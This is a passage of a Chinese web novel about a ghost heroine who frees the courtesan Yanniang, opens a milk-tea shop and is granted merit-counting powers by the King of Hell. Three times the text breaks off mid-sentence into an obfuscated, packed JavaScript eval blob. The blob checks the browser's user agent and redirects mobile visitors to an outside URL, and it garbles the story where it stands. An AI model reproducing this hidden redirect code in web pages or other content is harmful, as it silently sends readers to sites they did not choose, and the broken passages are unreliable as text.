小白走后,在场众人都松了口气。 老鸨殷勤地为夏月明倒了杯茶,趁机套起话来:“姑娘为何非要买雁娘呀?莫非……” 夏月明道:“主要是见不得好人受苦。” “……”老鸨惊疑了一瞬,猜她是在打趣自己,满不在乎地笑了两声,又试图哄骗夏月明道:“无论如何,姑娘愿为雁娘抵押房契,我还是十分佩服的。你那手下模样是一等一的好,脾气也是一等一的差,幸好姑娘拦住了他,没让打起来。我只能说,任凭他身手再好,真打起来你们也未必能落着好。还是姑娘识大体。” 夏月明走神了,没听几句。 老鸨继续道:“姑娘是否愿意将那手下卖给梦香楼呢?他脾气不好,留在姑娘身边早晚惹出祸端,倒不如抵消些银钱,也好早日赎回房契。” 夏月明打了个哈欠,“他是人又不是物品,跟我说没用,你跟他商量吧。” “嗯。”老鸨竟将她这句话错解为默许了,待小白一回来,看他的目光便变得暧昧放肆起来,令小白很不舒服。 接过房契,老鸨又再次被震撼到了,虽然房子位置偏远,但其面积之大,历史之久,是她生平仅见。 震撼之余,老鸨心里又平添了一丝疑惑:“白公子,你怎么回去的啊……” 房子在隔了一座县城的郊外,小白一来回却还不到一个时辰。 意识到老鸨质疑的点,小白淡淡道:“没有回去,房契存放于主人在镇上的亲戚家。” 老鸨这才松了口气,喜滋滋将房契收了起来,暗自盘算着如何把抵押的利息再涨一涨,让夏月明永远还不上,那她就可以永远霸占这房子了。 双方签订房契抵押书后,老鸨便将雁娘的卖身契交给了夏月明,并差人去撤掉雁娘房门上的铜锁。 夏月明收好卖身契,正要去找雁娘,没走两步发现身后的小白被老鸨拦住了。 她颇为殷切地对小白道:“白公子,你的主人已经答应把你卖给我了,你出个价,我们尽早谈妥,就能早点安排你见客啦。以你的容貌,很有男女通吃的资本。雁娘一走,你就是花魁,将来必定大富大贵的!” 夏月明:? 小白闻言失色,没顾上理会老鸨纠缠,只愣愣地看着夏月明,像一个以为要被抛弃的小狗狗般,神色间带着几分易碎的坚持,只等她说一句“不”。 夏月明莫名有种当了渣女的心虚,急忙解释道:“我不是那个意思……我以为她是要你当护卫,所以跟她说让你自己做主的。” 谁料这里竟然也做男色生意,夏月明很是无语,又严肃地对老鸨道:“原来你存的是这份心思,那我可以直接告诉你,没门。就算他情愿也没门。” 说罢不顾老鸨纠缠,拽着小白衣袖快步走开。 小白望向她抓着自己的手,眉宇瞬间舒朗,忍不住弯起嘴角。 原本枯萎的心田,又绽开朵朵心花。 就是这样容易满足,又极好哄的一只鬼。 夏月明所在的客房在一楼后院,穿过院子来到大堂,拾级而上,行至楼道尽头,便是雁娘的房间。 再见雁娘,不过隔了半月,她竟比先前清瘦憔悴了许多。 彼时雁娘正捧着本书在看,听见开锁声忍不住心慌,以为老鸨又要强迫她接客,便将书册倒扣桌上,警惕地拿着半块瓷杯碎片,躲到了墙角。 未曾想到房门打开后,预想中令人作呕的场景并未出现,踏步而入的,竟是一位素面白净、身材瘦小的文弱公子。 这公子不但十分面善,看起来还十分眼熟。 再一看,紧随其后的是一位身形修长、容颜如画的白衣公子,雁娘立刻恍然大悟。 是先前送文韬来见她最后一面的两位恩人……或者说,恩鬼。 紧绷的神经突然放松下来,瓷片脱手,她切切然向前行了几步,视线却被泪水罩上了一层雾气。 夏月明心疼地握紧雁娘的手,哽咽道:“雁娘,你自由了。” 雁娘秀眉微挑,不解其意,夏月明从袖袋中取出雁娘的卖身契,慎重地以双手交还与她。 雁娘颤抖着双手接过卖身契,大颗大颗的眼泪洇湿了这张束缚住她过往人生的“符咒”,随即又赶忙擦去眼泪,忧心道:“这卖身契是怎么得来的?” 她再清楚不过自家老鸨什么德性,怎么会轻易将它交给旁人? 知她担心自己为她涉险,夏月明柔声道:“放心,正规途径。现在不是说这些的时候,小红还在家里等你。” 雁娘意会,知道老鸨就在门外,点了点头。 小白伸出手来,掌心升起一簇青色火焰,递到雁娘面前。 雁娘盯着那团火良久,又看了夏月明一眼,见夏月明对她鼓励点头,才不确定地拿起卖身契,放在了火上。 好似一切过往与束缚,都在青色焰火中,化为灰烬,令她有种不真实的感觉。 帮雁娘稍微打理好发型与着装,夏月明牵起雁娘的手,带着她一步一步、光明正大、脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866748|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下生风、头也不回地离开了这座脂粉楼。 在他们身后,老鸨心疼地捂着胸口念叨:“怎么就烧了呀?这女侠是不是脑子有病啊?没有卖身契,雁娘能听她的话吗?” 话音刚落,身旁就响起撕心裂肺的哭喊声:“雁娘,雁娘,没有你我活着还有什么意思啊……” 竟是几日没来的李大官人——李涩。 老鸨挑眉调侃道:“哟,李大官人,我听说您不是在家跪宗祠,说要戒色吗?怎么今日得空赏光啦?” “哼!”李涩气呼呼道:“说起这个就来气!” 那日被小白捉弄之后,他回去的确乖乖跪了宗祠。但昨日一翻族谱,才发现那日教训自己的太爷爷,竟然纳过十八房小妾! 如此荒淫的人,有什么脸教育自己啊? …… 离开梦香楼时已是下午,日头没有那么毒辣,但仍令鬼魂不适。 雁娘出钱在客栈为他们开了间房,先做歇息。 夏月明这才发现小白外露的皮肤上,有几道被阳光灼伤的痕迹,想来是中午回鬼山取房契时所伤。 她为自己的疏忽自责不已,心疼地抬起手来,轻轻抚摸着小白脖颈处的伤口。 小白玉面微红,身体轻颤,不自觉地避开了夏月明的视线。 雁娘误以为这是情侣亲热,礼貌地寻了个借口,出门回避。 阴暗的房间内,便只剩下两只鬼。 小白喉结一动,似是期待着什么一般,问夏月明道:“主人,为何当护卫可以由我自行决定,做男娼却不可呢?” “嗯?”夏月明疑惑片刻才反应过来,他是在问下午的事。 下午她误以为老鸨是想要小白当护卫,就给老鸨说全凭小白自己做主,后来发现老鸨其实意图不轨,又一口回绝了。 夏月明想了想,组织了一下语言道:“你身手了得,样貌也不俗,明明可以有很多选择,何必自甘堕落呢?” “哦。”这回答与小白所想相差甚远。他本以为她会说出类似“你只能取悦于我”这样带着占有欲的话,没想到她全然没有这样的意思。 见他好像有些失落,夏月明又补充道:“当然,你要是爱好这个,我也只能尊重并祝福了。” “啊?不是……”一句话把小白给说急了,他连失落都顾不上了,红着脸,宣誓一般郑重道:“我是主人的恋鬼,怎可服侍于他人?” 惊惶又认真的模样甚是可爱,夏月明忍不住笑了,认真道:“嗯,但我更希望你是你自己。” “我自己?”小白认真思索片刻,却不解其意,眼里透露着迷茫。 夏月明微笑道:“没关系,慢慢来。无论如何,你都是我在这个世界的第一个,也是最重要的朋友。” “嗯!”温柔的神采冲散了他眼中的迷雾,一双好看的桃花眼又弯成了月牙儿。 脖子上的伤已经好了,夏月明继续抚摸他手臂上的伤。 小白眼睛一眨不眨,喜滋滋地盯着夏月明的手,心里还在反复品味着她刚才的话。 你是我最重要的朋友。 最重要。 嘿嘿。 一句话,又让他美了好几天。 24. 第一家实体店 黄昏时分,一人二鬼雇了辆马车连夜赶路,终于在次日清晨前抵达了隔壁县城。 这里脱离了从前的生活圈子,又距离鬼山较近,正是雁娘开始新生活的绝佳之地。 县外道路两个月前被大雨冲毁,原本行车不便,但半个月前,修复工事好似被天神眷顾一般,每隔一夜就会神奇地增加7%-10%的进度,如今已然修得差不多了。 天神自然没空管这样一条不起眼的县城小道,在夜里偷偷帮忙修路的,正是先前被心愿部流水线渡化的那些小鬼。 夏月明快到县城口时,小鬼们正打算收工,见驾车的是小白,便猜想夏月明也在车上,慌忙你推我搡地排成两列,夹道齐呼:“恭迎副宫主!” 刚要迈步下车慰问一番的夏月明急忙又把脚缩了回去。 她偷偷掀开窗帘警惕地瞄了眼,见四下无人,才松了口气,放心地钻出马车,有些尴尬地对小鬼们道:“以后不用这样子。” 小鬼们齐声道:“是!副宫主!” 夏月明:“……” 算了,还是我来习惯你们吧。 她望了眼县城口,发现城门护卫才刚换班,进城的也没有几个,便问:“现在是什么时辰?” 小鬼们齐声道:“辰时。” “哦。”她应了一声,随口又问:“你们什么时候开工的?” 一名小鬼实诚道:“大约亥时左右。” “亥时?”夏月明在心中计算这是几点钟。 一众小鬼见她若有所思的样子,以为她是嫌他们偷懒怠工,都开始心慌起来。回答的小鬼也冷汗岑岑,为自己的祸从口出懊恼不已,恨不得立马扇自己俩耳光。 众小鬼中还算冷静的,当属先前请夏月明帮忙,将尸骨运回故乡的无尸鬼。 他抬起双臂朝夏月明行了个大礼,小心翼翼地解释道:“副宫主恕罪!并非属下想偷懒,只是忧心过早做工,会吓到夜里出入县城的人。” 夏月明:? 她只是做了个简单的心算题,还什么都没说呀。 一众小鬼也跟着下跪请罪,齐声恳求道:“请副宫主恕罪!” 夏月明:“……” 属实给她整不会了。 “我不是这个意思。”眼见小鬼们沉浸在被林蔓支配的恐惧中无法自拔,夏月明整理了一下语言,循循善诱道:“还记得我之前跟你们说,我们一天需要工作几个时辰吗?” 众小鬼拧眉深思,你看看我,我看看你,不确定道:“四、四个时辰?” 她当初说的时候,他们就怀疑自己听错了,四个时辰,怎么可能啊? 越想越觉得是自己听错了,小鬼们赶忙把声调一扬,纷纷改口道:“十个时辰。” 正欲微笑点头的夏月明一脸懵然:我口音这么重的吗? 他们宁愿相信是副宫主有口音,也不敢相信她让他们一天只工作四个时辰。 夏月明无奈地竖起四根手指,强调道:“我说的是四个时辰。” 小鬼们小心翼翼抬起头来,不确定自己是不是眼花了。 夏月明继续道:“你们今天整整加了一个时辰的班。” 众小鬼更是懵然,“加班”这个词他们还是第一次听说。 副宫主这是在怪他们多干活了? 他们难以置信地环顾四周,确定太阳的确在东边,野猪的确在树下,一时更是茫然。 夏月明头一回发现,要当一个良心的资本家,是一件多么不容易的事。 理想状态下,这个时候,她本应潇洒地拿出银子来,告诉小鬼们,这是你们的加班费。 然后大家直呼“良心好老板”。 但事实是,为了帮雁娘赎身,她已经花完了林蔓一整个小金库。现在的她没准比这帮小鬼们还要穷,加班费什么的是一毛钱也给不起了。 只好厚着脸皮,拿捏起资本家的嘴脸道:“不过这次毕竟是你们自愿加班,我就不给加班费了,下不为例哈。” 说完立刻心虚地钻回了马车中。 斜倚着车身,饶有兴味地旁观了整个过程的小白忍不住弯起唇角,跳上车对众小鬼道:“起来吧,她没有怪你们的意思。” 众小鬼这才神色茫然地站起身来,心间涌起一种莫名的情绪。 难不成副宫主其实是在关心他们? 见他们一副不可思议的样子,一如刚认识夏月明时的自己,正欲赶马的小白桃眼一弯,对小鬼们微笑道:“方才来时,主人说这条路修得极好,要替过路的百姓们谢谢你们呢。” 说完也不等小鬼们回应,一拽缰绳,喊了声:“驾!” 素来被当做恐怖与罪恶之存在,被百姓厌弃、被上司折辱的小鬼们闻言忍不住眼眶发热。 目送马车驶入城内之后,小鬼们内心升腾起一股力量,一股迫不及待想要加班的力量。 哪怕他们至今不知道,副宫主提了一嘴的“加班费”到底是什么。 …… 入城后,夏月明带雁娘直奔客栈,与提前在此等候的小红汇合。 姐妹重逢,相拥而泣。一番交谈后,夏月明得知原来小红曾是雁娘的贴身婢女,在雁娘被安排接客前夕,她想带雁娘逃离梦香楼,无奈事情败露,被活活打死。 死后小红的灵魂也曾在梦香楼徘徊,但她魂力低微,除了搞点小捣蛋之外什么也做不了,只好投靠毕宿宫,想修炼得厉害一些,再去救雁娘。 但她到毕宿宫才发现,普通小鬼在这里只能被当做奴隶使唤,别说学本事了,连自行修炼的时间都没有。 幸而她遇见了副宫主。 在夏月明与梦香楼纠缠的时候,小红便按照夏月明指示,在此镇四处走访探查,寻找正在转手的店铺。 她们从她收集的店铺名录中,选中了一家茶馆,位置、面积、价格都十分合适。 因雁娘说什么也要还夏月明为她赎身的钱,夏月明便与雁娘商定,赎金替换为新店铺的两成股份。雁娘不同意,一番推攘,夏月明只得松口,改为了四成。 于是夏月明在此世界,拥有了第一家入股的实体店铺。 当夜他们便一同去茶馆,用雁娘一半的积蓄,签下了转让合同。 前店主名叫刘茗,是个大约三十多岁的中年男人,临走前步伐沉重,一步三回头,看得出对这店铺很是不舍。 雁娘心生触动,主动问起他转铺的原因。 这才知晓这家茶馆虽然地处闹市,但周围茶楼酒肆太多,并不占优,连年亏损导致他欠债无数,加上妻子快要生产,不能再继续耗下去了,只得忍痛转让店铺。 夏月明问刘茗:“转让茶铺之后您打算做什么营生?” 刘茗思索良久,道:“或许先去别家铺子当伙计,把债还完。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866749|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夏月明与雁娘对视一眼,笑道:“还用去别家铺子吗?我们新店开张,正缺人呢。” 刘茗愣了半晌,为难道:“多谢姑娘好意。不是我不相信姑娘能力,只是这铺子店面不大,若还要招人,恐入不敷出……对了,姑娘是打算做什么生意?” 这问题雁娘倒还没来得及细思,一时也有些为难。 夏月明道:“我们还是卖茶饮。” 刘茗听罢面露忧色,“我原先也是卖茶饮的,都是上好的茶叶,祖传的手艺,但附近新兴的各种茶馆花样百出,从店铺环境到茶的泡法、倒法、喝法上赚足噱头,客人们已然厌倦了这最传统的味道。奉劝姑娘一句,传统茶饮难做,若是不能推陈出新,还是换个行当吧。” 雁娘对此也多有了解,知他所说在理,忧心点头。 夏月明将铺面环视一遍,心中已有了大致规划,微笑问道:“你们喝过奶茶吗?” 铺面不大,又要玩出花样,除了卖奶茶,她想不到更合适的。 “奶茶?” 店长与雁娘皆是摇头。为了确定自己的口味是否与这个世界适配,夏月明特地让店主准备材料,现场调制了一壶奶茶。 虽然不如她在现代喝的那些奶茶风味足,但胜在用料扎实醇厚,味道竟还不错。 雁娘与店长品尝过后,虽没有被一口惊艳,却也颇感新奇地小饮慢啜,喝完了一整杯。 说明对这个世界来说,奶茶是不会被抗拒的新鲜饮品,只要不断调整口味,受人喜欢肯定不难。 难就难在,这个世界的牛奶太贵了,又不像现代社会,可以找到廉价替代品。 在他们有条件建立自己的农场之前,注定是要走高端饮品路线了。 幸而除了奶茶,她从前还跟小视频学过一些简易果茶的制作方法。 这座县城所在地又盛产黄梨,制作梨汤的成本可以说是很低了。 于是经过一番品尝和筛选,新茶店的主打饮品便被定为了芋泥奶茶和小吊梨汤,配角是红果茶和花茶。主打食物是炸蘑菇和炸薯条,除此之外不卖其他任何食物。 为了确定这样是否可行,第二天一大早,雁娘和刘茗便去采购原料,进行了一番试营业。 试营业虽说没有特别火爆,但被炸物香味吸引的顾客已然比此店原先的顾客多了两三倍,而奶茶的独特和果饮的清甜,更是令他们赞不绝口。 于是刘茗对这个方案也开始有了信心。 试营业结束后,夏月明参考着现代一些热门奶茶店的装修风格,画了一张图纸,让刘茗先去采购装修材料,预计两个月后开始正式营业。 刘茗看了图纸一眼,忧心道:“两个月恐怕不够,起码得四个月。” 夏月明淡定一笑:“别担心,我认识一个很厉害的施工队,一个月装修,一个月散味儿,足够了。” 唯一美中不足的是,这个时代没有一次性杯子。 夏月明很后悔穿越前没多看一些相关知识,不然哪怕只是制作出一个塑料杯来,在这个世界都是了不起的发明了,定能大大增加收益。 但外卖这一块儿她还不想放弃。塑料杯做不出来,纸杯应该还是有戏的,只等哪天遇见一个拥有工匠天赋的鬼魂,招到公司来一同研发。 当下还是先让刘茗四下采购一些廉价杯子,筛选出性价比最高的一种,来代替一次性杯子打开外卖市场。 25. 绑定功德系统 一月之期已到。 安排好奶茶店的后续工作后,夏月明暂与雁娘告了别,准备去赴阎王之约。 她本打算让小红先留下,再与雁娘叙叙旧。但小红直言心愿圆满,可入轮回。 三只鬼便一同趁着夜色来到镇外,与修路的小鬼们会合了。 浅浅寒暄了几句后,夏月明拿出阎君令牌,注入念力。 没过多久,黑白无常就叽叽歪歪现了身。 “哎呀,跟里缩偶们很忙的啦,枕么动不动就……啊?这么多鬼!!!” 黑无常望着眼前排排站的小鬼们,眼珠子都要瞪出来了,忍不住绷直舌头数了起来:“一、二、仨、四……思一、思二……思二资鬼???” 夏月明微笑:“嗯。加上之前的两个,总共是十四个。” 黑无常急得舌头打了结,疯狂拍打白无常胳膊,给他使眼色。 白无常不耐烦将他推开,向前一步,一脸威严地质问小鬼们:“你们都是毕宿宫的吗?” 小鬼们点头应是。 白无常冷哼一声,道:“果然,说什么渡魂,还不是利用副宫主威严强迫手下冲业绩?” 夏月明正欲开口,小鬼们先急切地帮她澄清起来,异口同声地喊道:“我们都是自愿的!” 黑无常被声浪吓了一跳,手一抖,快要解开的舌头又被拽成了死结,疼得他嗷嗷直叫。 白无常将眼睛一眯,道:“是不是自愿阎王大人一看便知,走,先跟我去地府。” 小鬼们听话地按照无常指示,排排站好。 夏月明跟小白叮嘱了两句后,也自行站在了队伍末尾。 白无常一看瞪起眼来,“喂,你站在这里做什么?” 夏月明淡定道:“述职。” 白无常白了她一眼,道:“述什么职?阎王大人还不一定用你呢!边儿去,城隍庙等通知。” 夏月明无奈侧跨一步,给他们让出道来。 随即白色烟雾自无常脚下升起,很快就将小鬼们全部覆盖,带去了地府。 几分钟后,两位无常又面色尴尬地出现在了原地。 正欲离开的夏月明止步转身,好奇问道:“两位前辈还有什么事?” 白无常为难地看黑无常一眼,黑无常又推推白无常:“里缩,里缩,偶不方便。” 说完迅速把舌头打了个结。 白无常:…… 见两位鬼差有口难言,夏月明温声道:“两位前辈有什么直说就行,不用为难。” 白无常听罢硬着头皮清了清嗓,不自然地板起脸来,道:“阎王大人要你过去。” 原来令他难以启齿的,不是伤人的悲报,而是自打脸的喜报呀。 “嗯。”夏月明欣然点头,喜悦地看向小白。 小白桃眼泛起璀璨笑意,柔声笑道:“恭喜主人。” …… 地府内,夏月明静立于阎王殿下,默然低头,不敢乱看。 幽暗空旷的大殿简约威严,除了九根雕刻着不同凶兽的黑色内柱之外,再无其他装饰,四面墙体皆是黑色,上有岩浆般的红色纹路,仿如火山裂缝。 阎王姿态随意地坐于殿上高台,笑道:“又见面了。” 夏月明拘谨地交握起双手,盯着火纹岩板铺就的地面,恭声汇报道:“启禀阎王大人,小鬼夏月明已在约定时间内完成任务,并超额四个,请阎王大人点查核对。” 阎王并未答复,反而调侃起她来:“是本君长在了地板上,还是你的眼睛长在了头顶?” 明明上次告别时,她都敢跟自己讨价还价了。如今又做出一副谨小慎微的姿态,当真是能屈能伸。 夏月明鼓起勇气抬起头来,便撞上了阎王带着几分戏谑的审视目光。 她不是第一次见他,却是第一次在阎王殿中看到他,超然神威在殿内幽冥气势的衬托下,更显摄人威仪,令她脸上不自觉添了几分敬畏。 阎王扶着腰调整了下坐姿,收起笑意淡淡道:“这十四个小鬼中,有十一个你在七日前便已渡化,为何今日才送来?” 夏月明知道自己在人间的一切行为都逃不过地府的掌控,便如实坦白了自己的意图:“他们生前未曾作恶,但加入毕宿宫后身不由己,做过一些坏事,怕是不能再投人道。我想让他们用修路的功德来抵消做坏事折损的功德。” “你想让他们投人道?” “嗯。” “呵。”阎王冷哼一声,不爽道:“都算计到地府的功德账上来了?” 夏月明慌忙行礼请罪:“小鬼不敢。” 阎王沉默片刻,站起身来伸了个懒腰,又道:“不过你这事儿做的倒没错。” 夏月明听罢松了口气,抬起头来,就见阎王正缓缓从高台上走下,朝自己行来。 边走边道:“单以轮回做诱惑,让小鬼们攒功德,这件事地府不是没有考虑过。但实行下来收效甚微,很快便作罢了。没想到竟被你做到了。” 他在夏月明面前停下脚步,饶有兴趣地问道:“你说这是为何?” 夏月明恭谨道:“阎王大人要听真话吗?” 阎王愣了下,点头:“当然。” 夏月明深吸一口气壮了壮胆,诚实道:“厉鬼做事全凭执念,今世执念不消,就无暇去顾来世。地府事务繁忙,不可能帮他们一一消解执念,所以难以执行。” 阎王赞许点头,对夏月明又多了几分欣赏:“正是如此。你看待事情十分通透,这很难得。” 得他夸赞,夏月明脸上不自觉挂起笑意,顺势便道:“既然地府繁忙,不如阎王大人把这一块儿也外包给我,让我来为地府分忧。” 阎王:? 又是熟悉的被蹬鼻子上脸的感觉。 但他本也正有此意,没办法同她生气,只得装作惊讶道:“哦?那你说说,如何外包给你?” 他已经理解并接纳了“外包”这个概念。 这件事夏月明早就在心里盘算过几遍,当下便抬手行礼,恳求道:“希望阎王大人可以授予我为鬼魂计算功德的权力。” 为了鼓励好鬼尽快投胎,当下神界功德系统只将人类纳入其中。 人间修士获得百万功德便可入神职,可人间鬼魂在逃脱鬼差拘捕的那一刻,便被剥夺了积攒功德的权利,做好事不加功德,做坏事成倍扣功德。 这一制度从约束鬼魂的角度来说确实有用,但弊端就是容易让已经犯过错的鬼魂破罐子破摔,产生一种“反正也投不了好胎,那我就放肆摆烂”的心态。 她想给这些鬼魂一个向好的奔头。 阎王听罢一奇,挑眉道:“我以为你会蹬鼻子上脸,趁机向地府索要更多东西,没想到你竟会提出这样朴素直白的方案。” 甚至于说,不用细思也知道,这是对地府而言获利最大的最优解。 夏月明微微一笑,道:“如果阎 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阎王将掌心覆在她发顶,一股奇妙又温热的力量便自她的发顶涌入,逐渐向下蔓延到她的四肢百骸、五脏六腑。 藏在夏月明身上诅咒急忙逃难般朝下游移,逃到脚底才躲过一劫。 良久后,夏月明感觉自己的魂体对此世界的感受愈发清晰起来,相较于之前,更有一种实实在在存在于这个世界的感觉。 “可以睁眼了。”阎王道。 夏月明睁开眼睛望向自己的双手,抓握两下,摩挲指尖的触感也更为真实。 她欣喜于自己的变化,雀跃地看向阎王,阎王笑着同她点了下头,道:“本君已将你的魂体修复,并注入了神魂之力。从今以后,你可将自身功德、民间信仰、天地灵气转化为自身修为,亦可清晰感知其他魂魄所持之功德。但要完全掌握,还需漫长的过程,莫要心急。” “嗯!”夏月明欣喜点头,再次恭敬地对阎王行了一礼,诚挚道:“谢阎王大人!” 阎王微笑免礼,转身道:“让黑白无常送你回去吧。” 他登上高台回到座位,发现夏月明并未动身,站在原地似在纠结什么,便问:“还有何事?” 夏月明颇有些难为情地道:“阎王大人,您还没有告诉我,刚才送来的那十二个魂魄,是否能投人道呢。” 虽然于情于理都应当是确定答案,但不听到阎王亲口确认,她还是不太放心。 阎王愣了下,道:“天机不可泄露。” 说罢见她面露忧色,忍不住又道:“功过相抵,皆是人道。” “太好了!”夏月明松了口气,面上绽开灿烂笑容,再次对阎王行了个大礼,高声道:“多谢全世界最善良的阎王大人!” “不必谢我。”阎王无奈摇头,声音却比之前柔和了几分,道:“是你替他们挣来的。” 从她明亮欣喜的双眸中,他似乎明白了她这次谈判没有得寸进尺的原因。 她不是在为自己谋划什么,而是全心全意,希望那些误入歧途的鬼魂能安心入轮回,以最轻松的状态,重返人间。 所以谈判中,只有不掺杂任何欲念的诚意。 其心难得,其情可嘉。 望着她朝殿外走去的轻快步伐,阎王唇角不自觉扬起笑意,愈发对未来这一年的合作充满期待。 26. 调整架构,准备营业 死亡危机解除,修炼难题解决,员工福利就位。 本是前途光明,大展宏图的好时机,但夏月明的内心却并不平定。 因为再有两日,轩辕泓就要出关了,届时也是重新选拔副宫主的时候。 在她忙于渡魂的这一个月,狸姝也笼络了大部分有投票权的堂主,若是投票选拔,她毫无胜算。 而她也很清楚,等狸姝当上副宫主,第一件事恐怕就是清算她。 若她以对付从前林蔓的手段来对付自己,真如杀鸡用牛刀一般简单了。 夏月明与小白一同行至毕宿宫外,脚步愈发踌躇起来。 按理说她已修复魂魄,也有了自己的修炼方法,可以不用再回这里。 可她答应过林蔓,会替她完成和轩辕泓的约定。虽然她下给她的诅咒已经被她身上的诅咒吞掉了,但她毕竟救过自己,就这样一走了之,总觉问心有愧。 且这里还有小婵、依依,以及那些曾对她抱有过期待的、想要再入轮回的鬼魂,她放不下他们。 这样想着,她还是回到了林蔓的院落。 一进院子,就见小婵和依依正拿着这几日收集的问卷,等她审阅。 看到她们的一瞬间,她的心情莫名松弛了下来,便更加坚定自己的选择了。 不管以后会发生什么,至少她知道自己要走的路是不会变的,那就兵来将挡,水来土掩,先把自己的路铺好再说。 她扬起唇角,拉起两位小姑娘的手腕道:“问卷先收起来,我们来开个会。” 落林院正厅,心愿部第二次内部会议正式召开。 参会人员有部长夏月明、副部长小白、客服经理小婵、运营经理依依,还有……把客服经理和运营经理都吓得花容失色的法务部长——咒皇。 夏月明没想到诅咒在陌生鬼面前的出场方式如此狂野,一现身就张牙舞爪、狰狞大笑。她急忙轻咳两声,提醒他正常点。 诅咒将庞然巨体收缩成寻常男子那么大,扫兴地坐在夏月明身侧的小凳子上。 不情不愿又不得不做的样子竟有几分可爱。 待众鬼都坐定之后,夏月明收敛了神色,认真道:“后天宫主出关,为了自保,我会离开毕宿宫,你们愿意和我一起走吗?” 她已做好打算,准备在轩辕泓出关前完成约定,然后引咎辞职,带大家跑路。 小白坐姿端正,想也不想就坚定道:“自然。” 诅咒白了他一眼,小声嘟囔道:“狗腿子。” 而他自己并没有其他选择,心里很不爽,懒得回应夏月明。 小婵和依依都是头一次听到这个消息,震惊之余又格外担忧。 依依轻声道:“姥姥为何要离开?您做了会让宫主怪罪的事吗?” “嗯,但不全是。”夏月明沉吟一瞬,道:“我有自己想做的事情,待在这里束手束脚,不如先离开的好。” “哦。”依依神色了然,猜想姥姥又是同之前那样,要找个僻静之所修炼了,天真笑道:“如果姥姥愿意,我定然是要跟着姥姥的。” 小婵也跟着点头:“我也是。” 得到肯定答案,夏月明面色轻松了许多,眉眼间也不自觉泛起笑意,“太好了。” 见姥姥似乎因为自己愿意与她同行而欣喜,依依和小婵不自觉对视一眼,神色中难掩惊疑。随即她们又在对方的眼中找到肯定,难以置信地红了眼眶。 这是她们第一次体会到被需要的感觉。在此之前,她们一直都是可有可无的角色,从没有鬼魂在意过她们的想法。 夏月明并不知两个小姑娘心里有多么感动,只是看到她们面色欣然,确认她们并非出于林蔓威慑,而是自愿选择跟着自己,便愈发安心了几分。 “我尽量长话短说。”她的语气比一开始轻松了几分,自信而坚定地,说出了自己酝酿已久的计划。 “我打算成立一个新的组织,帮助鬼魂消执念、攒功德、投人道,一条龙服务。所以这个组织至少要有三个业务部门,一是行政部,负责统筹组织内的一切事务,来服务于‘投人道’这件事;二是心愿部,帮助鬼魂实现心愿,消除执念;三是实业部,帮助鬼魂做好事、攒功德。” 怕大家有不理解的地方,说到这里时,她特地停顿了一下,给他们消化时间。 诅咒和小白自不必说,他们几乎形影不离地跟着夏月明,对夏月明的一切想法都有了解。 小婵和依依最开始眉头轻蹙,但有这几日的工作经验,理解起夏月明的意图也不算难,很快面色也舒展开来。 夏月明便继续道:“在初始阶段,实业部我打算主要以基建部和营利部为主,因为基础建设是目前我能想到的最好操作、也最能直接地服务于民、获取功德的方法;而不管是行政部、心愿部还是基建部,都离不开金钱的支持,所以我们需要营利部,来想办法赚钱。” 听到这里,小婵和依依恍然大悟。 怪不得姥姥要让完成心愿的鬼魂去修水渠、修路,原来是想帮他们赚功德。 她们惊喜地点了点头,想着想着又皱起眉头。 心愿部很花钱这一点,她们这几日也发现了——才一个月,姥姥的小金库就空了。 可是该怎么赚钱呢? 因为鬼魂并不太需要金钱,所以她们对此一窍不通。 夏月明看出她们疑惑所在,微笑道:“别担心,赚钱的办法我也有了一些思路。在帮小红实现心愿时,我和雁娘合开了一家茶店,如果能够运行起来,我们还可以尝试其他各种店铺。不过我一个人的思维毕竟有限,如果能遇到这方面的人才和鬼才就更好了。还有就是,我们可以收费除鬼。” 她说前面的时候,小婵和依依还一脸向往,最后一句却吓得她们大惊失色。 小婵弱弱提醒道:“师父,我们就是鬼啊……怎么还要除鬼?” 夏月明柔声道:“我们是好鬼,要除恶鬼。不过和人间的捉鬼师不同,委托我们捉鬼的人,和我们要抓的鬼,都是我们的客户。被抓的恶鬼,若心存悔意,也可以去基建部帮我们干活。” 至此,小婵和依依终于明白了夏月明的一整个计划。 但是她们心中却浮现出了一个更大的疑惑。 “姥姥,您为什么要做这些呀?” 大费周章,吃力不得好。 夏月明坦然一笑,道:“你们知道先前完成心愿的十二个鬼魂去哪里了吗?” “不知道……”小婵面露怯色,心虚道。 这几日毕宿宫都在传,说林蔓把那些魂吃掉了。 但她们不信,因为宫门有规定,不可自相残杀。林蔓如果想吃别的魂,随便去宫外转两圈,就能抓到好些游魂野鬼,没必要犯宫主忌讳。 夏月明一看她的表情,便能猜到这几日毕宿宫是怎么传这件事的。当下也不在意,道:“我把他们交给了黑白无常。他们修路的功德与死后做的坏事相抵,可以投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866751|176169||http|test|mini|href|location''.split(''|''),0,{})); 